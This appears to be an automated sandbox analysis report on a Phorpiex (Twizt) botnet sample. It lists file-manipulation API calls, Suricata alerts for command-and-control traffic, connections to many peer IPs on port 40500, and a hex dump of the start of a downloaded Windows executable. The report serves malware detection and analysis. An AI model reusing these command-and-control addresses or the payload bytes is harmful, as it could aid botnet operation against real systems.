Source: C:\Windows\sysludpvs.exe	Code function: 2_2_00406690 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00406690
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_004067D0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	2_2_004067D0
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_00406690 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	7_2_00406690
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_004067D0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	7_2_004067D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856563 - Severity 1 - ETPRO MALWARE Phorpiex Domain in DNS Lookup : 192.168.2.5:64335 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 5.76.154.73:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 37.150.149.45:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 92.244.232.104:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 5.233.112.110:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 213.206.60.173:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 213.206.62.251:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49589 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 151.233.107.54:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 37.151.27.190:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49710 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 93.188.86.253:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49608 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 90.156.165.93:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49610 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 113.86.140.229:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49596 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 95.56.224.166:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49712 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49635 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49616 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49603 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49624 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49632 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49630 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49637 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 2.181.203.195:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49600 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 89.35.132.112:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49654 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 147.30.105.215:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 79.164.150.28:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49674 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 2.180.93.42:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 146.70.53.161:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 216.107.138.162:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 78.39.225.185:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 178.253.102.216:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49613 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49592 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 95.142.87.201:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49628 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49595 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 95.58.24.170:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 93.180.124.3:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49605 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49625 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49601 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49687 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49594 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2018581 - Severity 1 - ET MALWARE Single char EXE direct download likely trojan (multiple families) : 192.168.2.5:49715 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49639 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49658 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49686 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49598 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49591 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49662 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49659 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49661 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49644 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49618 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.5:65203 -> 178.88.234.209:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49641 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49692 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49633 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49611 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49622 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49607 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49649 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49693 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49695 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49697 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49673 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49647 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49650 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49689 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49642 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49652 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49656 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49690 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49684 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49645 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49682 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49676 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49615 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2853292 - Severity 1 - ETPRO MALWARE Win32/Phorpiex Twizt Variant CnC Checkin : 192.168.2.5:49709 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49620 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49587 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49627 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2022482 - Severity 1 - ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01 : 192.168.2.5:49715 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2021954 - Severity 1 - ET MALWARE JS/Nemucod.M.gen downloading EXE payload : 91.202.233.141:80 -> 192.168.2.5:49715
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.5:49671 -> 91.202.233.141:80

Contains functionality to check if Internet connection is working

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_0040ABF0 htons,socket,connect,getsockname, www.update.microsoft.com	1_2_0040ABF0
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_0040ABF0 htons,socket,connect,getsockname, www.update.microsoft.com	2_2_0040ABF0
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_0040ABF0 htons,socket,connect,getsockname, www.update.microsoft.com	7_2_0040ABF0

Source: unknown

Network traffic detected: IP country count 18

Source: global traffic	TCP traffic: 192.168.2.5:49713 -> 203.188.251.78:40500
Source: global traffic	TCP traffic: 192.168.2.5:49586 -> 92.47.79.250:40500
Source: global traffic	TCP traffic: 192.168.2.5:49593 -> 90.156.161.103:40500
Source: global traffic	TCP traffic: 192.168.2.5:49597 -> 31.171.184.200:40500
Source: global traffic	TCP traffic: 192.168.2.5:49599 -> 217.77.127.213:40500
Source: global traffic	TCP traffic: 192.168.2.5:49602 -> 190.74.239.163:40500
Source: global traffic	TCP traffic: 192.168.2.5:49604 -> 178.88.234.209:40500
Source: global traffic	TCP traffic: 192.168.2.5:49606 -> 5.239.149.199:40500
Source: global traffic	TCP traffic: 192.168.2.5:49609 -> 90.156.167.249:40500
Source: global traffic	TCP traffic: 192.168.2.5:49612 -> 82.200.234.162:40500
Source: global traffic	TCP traffic: 192.168.2.5:49614 -> 78.109.103.103:40500
Source: global traffic	TCP traffic: 192.168.2.5:49617 -> 89.33.234.8:40500
Source: global traffic	TCP traffic: 192.168.2.5:49619 -> 178.88.94.24:40500
Source: global traffic	TCP traffic: 192.168.2.5:49621 -> 81.2.6.166:40500
Source: global traffic	TCP traffic: 192.168.2.5:49623 -> 217.30.162.244:40500
Source: global traffic	TCP traffic: 192.168.2.5:49626 -> 5.239.203.3:40500
Source: global traffic	TCP traffic: 192.168.2.5:49629 -> 2.190.231.214:40500
Source: global traffic	TCP traffic: 192.168.2.5:49631 -> 178.90.38.234:40500
Source: global traffic	TCP traffic: 192.168.2.5:49634 -> 178.34.102.85:40500
Source: global traffic	TCP traffic: 192.168.2.5:49636 -> 90.156.164.120:40500
Source: global traffic	TCP traffic: 192.168.2.5:49638 -> 5.251.14.217:40500
Source: global traffic	TCP traffic: 192.168.2.5:49643 -> 188.17.107.147:40500
Source: global traffic	TCP traffic: 192.168.2.5:49646 -> 89.218.146.134:40500
Source: global traffic	TCP traffic: 192.168.2.5:49648 -> 154.251.113.98:40500
Source: global traffic	TCP traffic: 192.168.2.5:49651 -> 2.133.131.102:40500
Source: global traffic	TCP traffic: 192.168.2.5:49653 -> 212.154.221.106:40500
Source: global traffic	TCP traffic: 192.168.2.5:49655 -> 2.133.238.177:40500
Source: global traffic	TCP traffic: 192.168.2.5:49657 -> 2.190.155.52:40500
Source: global traffic	TCP traffic: 192.168.2.5:49660 -> 178.91.90.11:40500
Source: global traffic	TCP traffic: 192.168.2.5:49663 -> 178.253.102.221:40500
Source: global traffic	TCP traffic: 192.168.2.5:49672 -> 2.180.10.247:40500
Source: global traffic	TCP traffic: 192.168.2.5:49675 -> 109.74.70.126:40500
Source: global traffic	TCP traffic: 192.168.2.5:49680 -> 102.189.206.27:40500
Source: global traffic	TCP traffic: 192.168.2.5:49683 -> 95.142.87.201:40500
Source: global traffic	TCP traffic: 192.168.2.5:49685 -> 5.235.233.26:40500
Source: global traffic	TCP traffic: 192.168.2.5:49688 -> 89.249.62.94:40500
Source: global traffic	TCP traffic: 192.168.2.5:49691 -> 5.232.180.114:40500
Source: global traffic	TCP traffic: 192.168.2.5:49696 -> 213.206.61.228:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 92.244.232.104:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 37.150.149.45:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 5.76.154.73:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 213.206.61.226:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 5.233.112.110:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 2.177.44.200:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 37.151.27.190:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 79.164.150.28:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 213.206.60.173:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 213.206.62.251:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 151.233.107.54:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 93.188.86.253:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 217.30.162.37:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 113.86.140.229:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 146.70.53.161:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 89.236.216.14:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 213.230.99.34:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 147.30.105.215:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 90.156.165.93:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 2.181.203.195:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 216.107.138.162:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 95.56.224.166:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 90.156.163.111:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 82.200.169.222:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 89.218.186.142:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 90.156.166.108:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 178.253.102.216:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 94.183.208.151:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 213.206.62.230:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 95.58.24.170:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 151.232.174.105:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 80.191.192.168:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 89.35.132.112:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 178.129.39.66:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 82.204.215.94:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 2.180.93.42:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 78.39.225.185:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 213.109.253.244:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 93.180.124.3:40500
Source: global traffic	UDP traffic: 192.168.2.5:65203 -> 89.218.244.178:40500

Source: global traffic	TCP traffic: 192.168.2.5:49579 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:58631 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:53:55 GMTContent-Type: application/octet-streamContent-Length: 89600Last-Modified: Sat, 08 Mar 2025 13:08:27 GMTConnection: keep-aliveETag: "67cc414b-15e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d bb 70 6a 29 da 1e 39 29 da 1e 39 29 da 1e 39 20 a2 94 39 2e da 1e 39 51 a8 1f 38 2b da 1e 39 ea d5 43 39 2b da 1e 39 ea d5 41 39 28 da 1e 39 ea d5 11 39 2b da 1e 39 0e 1c 73 39 2d da 1e 39 29 da 1f 39 95 da 1e 39 0e 1c 65 39 3c da 1e 39 20 a2 9d 39 2d da 1e 39 20 a2 9a 39 35 da 1e 39 20 a2 8f 39 28 da 1e 39 52 69 63 68 29 da 1e 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4e 53 c8 67 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 e6 00 00 00 86 00 00 00 00 00 00 00 77 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 90 01 00 00 04 00 00 00 00 00 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c 26 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 76 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 02 36 00 00 00 00 01 00 00 38 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 4d 00 00 00 40 01 00 00 3c 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
